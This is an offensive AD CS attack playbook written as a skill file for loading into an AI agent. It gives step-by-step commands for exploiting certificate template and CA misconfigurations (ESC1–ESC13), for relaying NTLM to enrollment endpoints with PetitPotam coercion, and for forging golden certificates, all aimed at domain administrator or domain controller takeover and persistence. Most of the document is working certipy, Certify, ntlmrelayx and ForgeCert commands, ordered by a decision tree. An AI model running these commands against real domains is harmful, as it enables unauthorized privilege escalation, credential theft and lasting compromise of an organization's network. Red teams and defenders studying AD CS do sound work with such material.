SKILL: AD CS Attack Playbook — Expert Guide
AI LOAD INSTRUCTION: Expert AD CS (Active Directory Certificate Services) attack techniques. Covers ESC1 through ESC13, certificate-based persistence, NTLM relay to enrollment endpoints, and CA misconfigurations. Base models miss enrollment prerequisite chains and ESC condition combinations.
0. RELATED ROUTING
Before going deep, consider loading:
- active-directory-acl-abuse for ACL-based attacks that enable ESC4 (template modification)
- active-directory-kerberos-attacks for Kerberos techniques after obtaining certificates
- ntlm-relay-coercion for ESC8 (relay to HTTP enrollment endpoint)
- windows-lateral-movement for using obtained certificates for lateral movement
Advanced Reference
Also load ADCS_ESC_MATRIX.md when you need:
- ESC1–ESC13 quick reference table with conditions, impact, and tool commands
- One-liner exploitation commands per ESC variant
- Detection indicators per technique
1. AD CS ARCHITECTURE OVERVIEW
Certificate Authority (CA)
│
├── Enterprise CA (AD-integrated, issues certs based on templates)
│ ├── Certificate Templates (define who can enroll, what EKUs, subject settings)
│ ├── Enrollment endpoints: HTTP (certsrv), RPC, DCOM
│ └── Published in AD: CN=Public Key Services,CN=Services,CN=Configuration
│
├── Template Key Settings:
│ ├── Subject Alternative Name (SAN): who the cert represents
│ ├── Extended Key Usage (EKU): what the cert allows
│ ├── Enrollment permissions: who can request
│ └── Issuance requirements: manager approval, authorized signatures
│
└── Certificate → Kerberos Auth Flow:
User presents cert → PKINIT → KDC verifies → issues TGT
2. ENUMERATION
# Certipy (recommended — comprehensive)
certipy find -u user@domain.com -p password -dc-ip DC_IP -stdout
certipy find -u user@domain.com -p password -dc-ip DC_IP -vulnerable -stdout
# Certify (from Windows)
Certify.exe find
Certify.exe find /vulnerable
Certify.exe cas # Enumerate CAs
# Manual LDAP query for templates
ldapsearch -H ldap://DC_IP -D "user@domain.com" -w password \
-b "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=com" \
"(objectClass=pKICertificateTemplate)" cn msPKI-Certificate-Name-Flag pKIExtendedKeyUsage
3. ESC1 — ENROLLEE SUPPLIES SUBJECT
Condition: Template allows enrollee to specify Subject Alternative Name (SAN) + client authentication EKU + low-privilege enrollment.
# Certipy
certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
-template VulnTemplate -upn administrator@domain.com
# Certify (Windows)
Certify.exe request /ca:CA-NAME /template:VulnTemplate /altname:administrator
# Authenticate with certificate
certipy auth -pfx administrator.pfx -dc-ip DC_IP
# → NT hash of administrator
4. ESC2 — ANY PURPOSE EKU
Condition: Template has "Any Purpose" EKU or no EKU (subordinate CA cert) + low-privilege enrollment.
# Same as ESC1 exploitation
certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
-template AnyPurposeTemplate -upn administrator@domain.com
5. ESC3 — ENROLLMENT AGENT
Condition: Template allows enrollment agent certificate + another template allows enrollment on behalf of others.
# Step 1: Request enrollment agent cert
certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
-template EnrollmentAgent
# Step 2: Use enrollment agent cert to request on behalf of admin
certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
-template UserTemplate -on-behalf-of 'DOMAIN\administrator' -pfx enrollmentagent.pfx
# Authenticate
certipy auth -pfx administrator.pfx -dc-ip DC_IP
6. ESC4 — TEMPLATE ACL MISCONFIGURATION
Condition: Low-privilege user has write access to certificate template object.
# Modify template to become ESC1 vulnerable
# Using Certipy:
certipy template -u user@domain.com -p password -template VulnTemplate \
-save-old -dc-ip DC_IP
# Template is now ESC1 → exploit as ESC1
certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
-template VulnTemplate -upn administrator@domain.com
# Restore original template (cleanup)
certipy template -u user@domain.com -p password -template VulnTemplate \
-configuration old_config.json -dc-ip DC_IP
7. ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2
Condition: CA has EDITF_ATTRIBUTESUBJECTALTNAME2 flag enabled → any template becomes ESC1.
# Check if flag is set
certutil -config "CA_HOST\CA-NAME" -getreg policy\EditFlags
# Exploit: request any template with SAN
certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
-template User -upn administrator@domain.com
8. ESC7 — CA OFFICER / MANAGER PERMISSIONS
Condition: User has ManageCA or ManageCertificates permission on the CA.
# With ManageCA: enable SubCA template (always allows SAN)
certipy ca -u user@domain.com -p password -ca CA-NAME -dc-ip DC_IP \
-enable-template SubCA
# Request SubCA cert with admin SAN (will be denied — "pending")
certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
-template SubCA -upn administrator@domain.com
# With ManageCertificates: approve the pending request
certipy ca -u user@domain.com -p password -ca CA-NAME -dc-ip DC_IP \
-issue-request REQUEST_ID
# Retrieve the issued certificate
certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
-retrieve REQUEST_ID
9. ESC8 — NTLM RELAY TO HTTP ENROLLMENT
Condition: CA has HTTP enrollment endpoint (certsrv) without HTTPS enforcement.
# Setup relay to enrollment endpoint
ntlmrelayx.py -t http://CA_HOST/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
# Coerce DC authentication (PetitPotam, PrinterBug, etc.)
PetitPotam.py RELAY_HOST DC01.domain.com
# DC authenticates → relay → certificate issued for DC01$
# Authenticate with certificate
certipy auth -pfx dc01.pfx -dc-ip DC_IP
# → DC01$ hash → DCSync
10. ESC9-ESC13 — NEWER DISCOVERIES
ESC9: No Security Extension (StrongCertificateBindingEnforcement = 0/1)
Weak certificate mapping allows impersonation when CT_FLAG_NO_SECURITY_EXTENSION is set.
# Change victim's UPN to admin, request cert, change back
certipy shadow auto -u attacker@domain.com -p pass -account victim -dc-ip DC_IP
ESC10: Weak Certificate Mapping (Registry-based)
Similar to ESC9 but exploits CertificateMappingMethods registry value on DC.
ESC11: NTLM Relay to RPC Enrollment
Relay NTLM to the CA's RPC interface (IF_ENFORCEENCRYPTICERTREQUEST not set).
ntlmrelayx.py -t "rpc://CA_HOST" -rpc-mode ICPR -icpr-ca-name "CA-NAME" \
-smb2support --adcs --template DomainController
ESC13: OID Group Link (Issuance Policy)
Template's issuance policy OID is linked to a group → certificate grants that group membership.
certipy req -u user@domain.com -p pass -ca CA-NAME -target CA_HOST \
-template ESC13Template
# Certificate grants membership in linked group
11. CERTIFICATE-BASED PERSISTENCE
Golden Certificate
With CA private key → forge any certificate.
# Extract CA private key (requires admin on CA server)
certipy ca -backup -u admin@domain.com -p password -ca CA-NAME -target CA_HOST
# Forge certificate for any user
certipy forge -ca-pfx ca.pfx -upn administrator@domain.com -subject "CN=Administrator,CN=Users,DC=domain,DC=com"
# Authenticate with forged cert
certipy auth -pfx forged.pfx -dc-ip DC_IP
Persistence: Valid until CA certificate expires or CA private key is rotated.
ForgeCert (Windows)
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword "pass" --Subject "CN=User" \
--SubjectAltName "administrator@domain.com" --NewCertPath forged.pfx --NewCertPassword "pass"
12. AD CS ATTACK DECISION TREE
Targeting AD CS
│
├── Enumerate: certipy find -vulnerable
│
├── Vulnerable template found?
│ ├── Enrollee can set SAN + Client Auth EKU?
│ │ └── ESC1 → request cert with admin UPN (§3)
│ ├── Any Purpose EKU?
│ │ └── ESC2 → same as ESC1 (§4)
│ ├── Enrollment Agent template available?
│ │ └── ESC3 → enroll as agent, then on-behalf-of (§5)
│ └── OID group link in issuance policy?
│ └── ESC13 → request cert for group membership (§10)
│
├── Write access to template?
│ └── ESC4 → modify template to ESC1 condition (§6)
│
├── CA misconfiguration?
│ ├── EDITF_ATTRIBUTESUBJECTALTNAME2 flag?
│ │ └── ESC6 → any template becomes ESC1 (§7)
│ ├── ManageCA / ManageCertificates permission?
│ │ └── ESC7 → enable SubCA template, approve requests (§8)
│ └── HTTP enrollment without HTTPS?
│ └── ESC8 → NTLM relay to certsrv (§9)
│
├── Weak certificate mapping on DC?
│ ├── StrongCertificateBindingEnforcement < 2?
│ │ └── ESC9 → UPN manipulation + cert request (§10)
│ └── CertificateMappingMethods misconfigured?
│ └── ESC10 → similar UPN abuse (§10)
│
├── RPC enrollment without encryption?
│ └── ESC11 → NTLM relay to RPC (§10)
│
└── Already CA admin?
└── Golden certificate for persistence (§11)